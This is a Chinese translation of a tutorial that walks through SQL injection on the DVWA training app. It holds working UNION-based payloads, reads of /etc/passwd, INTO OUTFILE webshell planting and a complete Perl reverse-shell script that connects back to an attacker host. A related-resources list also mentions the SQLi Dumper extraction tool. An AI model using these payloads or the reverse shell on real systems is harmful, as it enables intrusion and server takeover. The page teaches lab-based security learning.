`

[译]通过SQLi获得逆向shell

 
阅读更多
原文地址:http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/
本文使用DVWA作为演示
首先将dvwa安全级别配置为low

1. 查找SQLi注入点
查找sqli注入点是关键步骤,需要很多技巧和经验来识别注入点。通过分析web程序,识别注入点。例如下图,USER ID可以被认为是一个注入点。

在user id中添加一个引号,我们可以看到MySql数据库语义错误

如果仔细查看,将会发现是一个syntax error,它的原因是当提供一个单引号时,后端数据库产生了一个syntax error错误。
正常情况下后端的sql语句类似:
MySQL> select first_name, last_name from users where user_id='' ;

如果user id提供一个单引号,那么sql语句变成:
MySQL> select first_name, last_name from users where user_id='' ';

所以产生一个语义错误。
所以注入点是user id,通过它可以直接和后端数据库通信。

接下来我们来尝试猜测后端后端数据库的语句,语句中列的数量,数据库名和MySq版本等信息。
根据前端,我们猜测语句类似:
MySQL> select first_name, last_name from users where user_id=1 ;

但是这只是一个粗略的猜测,我们需要充分利用MySql的特性,MySql提供给我们ORDER BY
ORDER BY根据列来排序查询结果。例如上面的语句,查询两列,使用order by可以根据列1或列2来排序。
如果我想按照第三列排序结果,MySql产生错误:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

所以当使用order by 2时没有错误,而order 3的时候产生错误,因此可以推断sql语句是两列
通过使用order by,我们可以推测出sql的列数

使用id= ‘ order by 3 #应用程序抛出MySql错误表明查询语句中没有使用第三列。#用于注释掉查询语句中剩余部分,所以语句看起来如下:
MySQL> select first_name, last_name from users where user_id=’ ‘ order by 3 # ‘ ;


id= ‘ order by 2 # 没有产生错误表明sql语句的列数为2

现在使用UNION 语句来更进一步枚举
Union连接两个select查询结果。根据之前的order by操作,我们知道语句包含两列。我们无法控制一个sql语句,但是我们可以用过union和select来组合两条插叙的结果。
因为主查询中有两列,所以我们应该在union组合的select中使用两列
MySQL> select first_name, last_name from users where user_id=’ ‘ union select 1,2 ;


通过使用union查询,我们可以看到显示的结果为后端的select语句和我们的union select语句

然后我们使用其他的注入语句,例如 ' UNION SELECT user(), database()#
如下图所示,将会显示username和数据库

使用session_user()和current_user()

我们还可以获得MySql版本

更好的是MySql允许我们使用load_file(),我们可以使用load_file()来读取文件,我们通过注入来读取/etc/passwd文件
‘ UNION SELECT 1, load_file(/etc/passwd) #


现在我们使用那个UNION SELECT
1. 上传webshell,获得反向连接
我们通过PHPinfo.php来访问web的根文件
我们得知web的根文件是apache的默认目录/var/www/
识别正确的根目录很重要,对于apache我们已经知道默认根目录的位置,但是系统管理员可能改变该参数。一种方法是通过返回的错误来定位根目录的位置。它可能会泄漏安装目录。

现在我们将使用union select在根目录创建一个文件,通过使用来完成。INTO OUTFILE将选择的行写入文件。下面的注入显示cmp.php文件将会存放于根目录,可以用来执行OS命令行:
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
这个方法需要你有在根目录写的权限。管理员可能改变该权限

现在我们可以利用浏览器访问根目录中的cmd.php

现在我们运行一些系统命令,使用id命令,可以看到我们拥有apache权限。

接下来我们使用perl -h来检查系统是否安装了perl

现在我们可以使用wget命令下载,保存从攻击者机器下载的perl反向连接脚本,保存到/tmp文件夹。

perl脚本
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("/bin/sh -i");

现在我们检查backconnect.pl是否下载/保存成功

现在我们使用netcat在8080端口等待连接。然后运行perl backconnect.pl脚本。我们可以获得一个反向连接

现在我们有了一个交互式shell


现在我们在Windows环境中使用相同方法
首先使用union select以及load_file()
我们想要读E盘的一个文件,文件路径如下
e:/testfile.txt
注入 ‘ union select 1, load_file(‘e:\testfile.txt’) #

适当的指定路径很重要,正如我们看到的路径是e:\testfile.txt,但是MySql会解析"\"。注入也可以为
‘ union select 1, load_file(‘e:/testfile.txt’) #
接下来找到web根文件夹,使用老方法PHPinfo.php

根文件夹为c:/wamp/www/DVWA/dvwa/,所以上传webshell使用的sql为
‘ union select 1, ‘‘ INTO OUTFILE ‘c:\wamp\www\DVWA\dvwa\cmd.php’#

检查cmd.php是否成功:

我们可以使用其他命令,例如whoami,将会告诉我们我们拥有NT authority system权限

  • 大小: 62 KB
  • 大小: 55.4 KB
  • 大小: 21 KB
  • 大小: 59.2 KB
  • 大小: 34.5 KB
  • 大小: 62.3 KB
  • 大小: 64.2 KB
  • 大小: 66.2 KB
  • 大小: 90.6 KB
  • 大小: 84.6 KB
  • 大小: 84.2 KB
  • 大小: 119 KB
  • 大小: 85.6 KB
  • 大小: 46.2 KB
  • 大小: 15.5 KB
  • 大小: 22.8 KB
  • 大小: 106 KB
  • 大小: 27.2 KB
  • 大小: 23.9 KB
  • 大小: 12.5 KB
  • 大小: 109 KB
  • 大小: 20.8 KB
  • 大小: 66.8 KB
  • 大小: 110.9 KB
  • 大小: 37.2 KB
  • 大小: 53.2 KB
分享到:
评论

相关推荐

    SQLi Labs实验指导书

    SQL注入(SQL Injection)是网络安全领域中常见的一...总之,SQLi Labs为那些对网络安全领域感兴趣的读者提供了一个很好的学习平台,通过对SQL注入的系统性学习和实践,学习者可以更好地理解和掌握网络安全的核心技能。

    SQLi Dumper v.10.2_sqlidumper_

    SQLi Dumper是一款针对SQL注入漏洞的工具,主要用于从受攻击的系统中提取数据库信息。在标题"SQLi Dumper v.10.2_sqlidumper_"中,我们可以看出这是该工具的第10.2版本,而"sqlidumper"标签进一步确认了工具的名称。...

    windows环境下安装sqli-labs

    Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里,我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...

    SQLi Dumper v.8.3_sqli_

    SQLi Dumper v.8.3_sqli_ 是一个专门针对SQL注入漏洞的渗透测试工具,主要用于检测和利用SQL注入漏洞。SQL注入是一种常见的网络安全威胁,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,以获取未经授权的...

    sqli-labs-master

    8. Web应用安全概念:通过解决sqli-labs的挑战,你还会了解Web应用安全的整体概念,比如OWASP Top 10中的其他常见漏洞类型,以及如何将安全思维融入到整个开发流程中。 总之,sqli-labs-master是一个宝贵的资源,它...

    sqli-labs-master靶场安装下载

    安装phpstudy、sqli-labs 适合人群:小白 安装sqli-labs报错如何解决

    sqlilabs过关手册注入天书.pdf

    整体来看,"sqlilabs过关手册注入天书.pdf"旨在帮助读者通过实践学习和巩固SQL注入技术,提供了一系列的实验室环境和挑战,以便学习者能够从基础到高级逐步提高自己的技能。对于网络安全从业者、数据库管理员或任何...

    sqli-labs(php7.3以上可运行)

    通过sqli-labs,你可以学习到以下内容: 1. SQL语法基础:理解如何构造有效的SQL注入语句。 2. 分析HTTP请求:识别可能的注入点。 3. 数据库操作:了解如何利用注入获取或篡改数据。 4. 防御策略:学习如何使用...

    sqli-lab通关txt

    在这个sqli-lab通关txt文件中,我们预计会找到一系列关于SQL注入攻击的实战教程,主要涵盖了从基础到进阶的10个不同阶段的练习。 SQL注入通常发生在Web应用中,当用户输入的数据没有被正确地过滤或转义,导致这些...

    修改过的sqli1-14

    3. **盲注**:sqli3和sqli5可能教授如何在没有明显错误回显的情况下进行盲目的SQL注入,通过判断查询结果的真伪来获取信息。 4. **联合查询注入**:sqli8可能包含如何利用联合查询(UNION SELECT)来拼接不同的...

    sqli-labs.rar

    SQL注入(SQL Injection)是一种常见的网络安全威胁,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,以获取、修改、删除数据库中的敏感信息或控制整个数据库系统。sqli-labs是一个专门设计用于学习和练习SQL...

    phpstudy+靶场sqli-labs-master下载

    “sqli-labs-master.zip”文件则包含了这个靶场的源代码和相关资料,用户在解压后可以在本地环境中运行,通过尝试各种注入攻击,逐步提高自己的安全技能。 在学习和使用这两个工具时,你需要了解以下知识点: 1. *...

    SQLi-DB Reborn

    总的来说,"SQLi-DB Reborn"是提高Web应用安全性的重要工具,通过模拟攻击,帮助开发者识别并修复SQL注入漏洞,从而保护用户的隐私和数据安全。了解和使用这样的工具,对于提升个人或团队的网络安全意识和能力至关...

    sqli-labs-master靶机

    【SQL注入实验室(sqli-labs)详解】 ...通过sqli-labs靶机的学习,用户不仅可以提升SQL注入的检测和防护能力,还能增强网络安全意识,这对于任何从事Web开发或网络安全相关工作的人来说都是至关重要的。

    sqli-labs实验指导手册

    SQL注入是一种常见的网络安全漏洞,它允许攻击者通过在Web应用程序的输入字段中插入恶意SQL代码来操纵数据库。sqli-labs是一个专门设计...通过sqli-labs这样的平台,可以模拟真实环境,提高对SQL注入的理解和应对能力。

    sqli-labs靶场

    SQL注入(SQL Injection)是一种常见的网络安全漏洞,主要发生在应用...通过sqli-labs靶场的学习,你可以提升对SQL注入的理解,掌握检测和防护的方法,这对于任何涉及Web开发或网络安全的角色来说都是非常宝贵的技能。

    sqli-labs-master靶场

    通过sqli-labs-master靶场,你可以逐步提高对SQL注入的理解和防御能力,为真实世界的网络安全工作做好准备。记住,实践是检验知识最好的方式,不断尝试并理解每个级别的攻击与防御机制,将使你在网络安全领域更加...

    sqlilabs过关手册注入天书,过关sqlliabs的绝佳手册

    Sqli-labs安装需要安装以下环境 apache+mysql+php Sqli-labs安装 将之前下载的源码解压到web目录下,linux的apache为 /var/www/html下,windows下的wamp解压在www目录下。 修改sql-connections/db-creds.inc文件当中...

    sqli-lab注入练习源码

    通过sqli-lab的实战练习,你不仅可以学习到如何进行SQL注入攻击,更重要的是,你还能了解到如何在实际开发中预防这种攻击,提升你的Web应用安全性。因此,无论你是开发者还是安全专业人员,这个平台都是提升SQL注入...

    sqli-labs实验环境

    2. 身份冒用:通过篡改查询,攻击者可能获得非法权限,冒充合法用户。 3. 数据破坏:攻击者可以更新或删除数据库中的记录,造成数据丢失。 4. 控制数据库服务器:在某些情况下,攻击者甚至可以执行操作系统命令,...

Global site tag (gtag.js) - Google Analytics